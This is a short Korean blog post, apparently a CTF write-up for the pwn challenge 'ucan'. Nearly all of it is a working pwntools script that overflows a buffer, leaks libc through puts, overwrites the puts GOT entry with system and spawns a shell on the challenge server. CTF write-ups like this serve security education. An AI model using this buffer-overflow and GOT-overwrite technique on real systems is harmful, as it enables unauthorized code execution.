728x90

사실 요문제는 이렇게 귀찮게 ROP를 하지 않아도 된다... ㅠㅠ 바이너리를 잘 살펴보면 쉘코드가 뙇 박혀있다..


from pwn import *

#s = process("./ucan",env={'LD_PRELOAD':'./libc'})
s = remote("kshgroup.kr",19192)

libc = ELF("./libc")
elf = ELF("./ucan")

#gdb.attach(s,'b *0x40073E')

pop_rdi = 0x004007b3
pop_rsi_r15 = 0x004007b1

pay = "A"*0x400
pay += "B"*8
pay += p64(pop_rdi)
pay += p64(elf.got['read'])
pay += p64(elf.plt['puts'])

pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(elf.bss()+0x10)
pay += p64(0)
pay += p64(elf.plt['read'])

pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(elf.got['puts'])
pay += p64(0)
pay += p64(elf.plt['read'])

pay += p64(pop_rdi)
pay += p64(elf.bss()+0x10)
pay += p64(elf.plt['puts'])

s.send(pay)

s.recvuntil("Your name : ")
puts_libc = u64(s.recv(6)+"\x00\x00")
print "puts : " + hex(puts_libc)
libc_base = puts_libc - libc.symbols['read']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x10a38c
print "one_shot : " + hex(one_shot)
system = libc_base + libc.symbols['system']
print "system : " + hex(system)

s.send("/bin/sh\x00")

sleep(0.5)

s.send(p64(system))

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[WITHCON 2016] normal malloc  (0) 2019.02.26
[WITHCON 2016] malloc  (0) 2019.02.26
[Hackingcamp 19] guess  (0) 2019.02.20
[Hackingcamp 19] Orange  (0) 2019.02.20
[Hackingcamp 19] sms_service  (0) 2019.02.20